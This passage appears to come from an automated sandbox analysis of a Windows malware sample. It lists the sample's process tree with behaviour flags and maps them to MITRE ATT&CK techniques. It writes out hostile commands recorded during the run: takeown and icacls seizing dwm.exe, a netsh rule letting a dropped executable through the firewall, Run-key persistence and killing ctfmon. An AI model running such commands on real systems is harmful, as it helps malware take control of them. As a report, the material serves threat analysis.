- - C:\Windows\SysWOW64\takeown.exe
    takeown /R /F C:\Windows\System32\dwm.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:2128
- - C:\Windows\SysWOW64\icacls.exe
    icacls c:\Windows\System32\dwm.exe /grant Admin:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2144
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy xcer.cer C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:3332
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 15
    3⤵
    - Delays execution with timeout.exe
    PID:2176
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 15
    3⤵
    - Delays execution with timeout.exe
    PID:2380
- - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\freebobux.exe
    freebobux.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2236
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\4C0E.tmp\freebobux.bat""
      4⤵
      Loads dropped DLL
      PID:2288
    - - C:\Users\Admin\AppData\Local\Temp\4C0E.tmp\CLWCP.exe
        
        clwcp c:\temp\bg.bmp
        5⤵
        Executes dropped EXE
        Sets desktop wallpaper using registry
        
        PID:2556
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4C0E.tmp\x.vbs"
        5⤵
        
        PID:2640
- - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\SolaraBootstraper.exe
    SolaraBootstraper.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1760
  - - C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
      "C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1932
  - - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3920
  - - C:\Users\Admin\AppData\Local\Temp\!FIXInj.exe
      "C:\Users\Admin\AppData\Local\Temp\!FIXInj.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of AdjustPrivilegeToken
      PID:3588
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\!FIXInj.exe" "!FIXInj.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3816
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im ctfmon.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3236
- - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\wim.dll
    wim.dll
    3⤵
    - Executes dropped EXE
    PID:1772
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\wim_7533b2f6-07ac-486b-b659-175db86764a9\load.cmd" "
      4⤵
      PID:2968
    - - C:\Program Files\VideoLAN\VLC\vlc.exe
        
        "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\wim_7533b2f6-07ac-486b-b659-175db86764a9\cringe.mp4"
        5⤵
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        
        PID:112
    - - C:\Windows\SysWOW64\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\wim_7533b2f6-07ac-486b-b659-175db86764a9\lol.ini
        5⤵
        
        PID:2564
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\wim_7533b2f6-07ac-486b-b659-175db86764a9\mailgooglecom.json
        5⤵
        Modifies registry class
        
        PID:2740
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\wim_7533b2f6-07ac-486b-b659-175db86764a9\CLOCK.py
        5⤵
        Modifies registry class
        
        PID:3948
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\system32\rundll32.exe" cryptext.dll,CryptExtOpenCER C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\xcer.cer
    3⤵
    PID:3448

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1636
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1636 CREDAT:275457 /prefetch:2
  2⤵
  - Manipulates Digital Signatures
  - Modifies Internet Explorer settings
  - NTFS ADS
  - Suspicious use of SetWindowsHookEx
  PID:1852

C:\Windows\system32\efsui.exe
efsui.exe /efs /keybackup
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2148

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2508

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3F6B5E16-092A-41ED-930B-0B4125D91D4E}
1⤵
PID:2652

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3516

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

BITS Jobs

T1197

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Password Policy Discovery

T1201

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery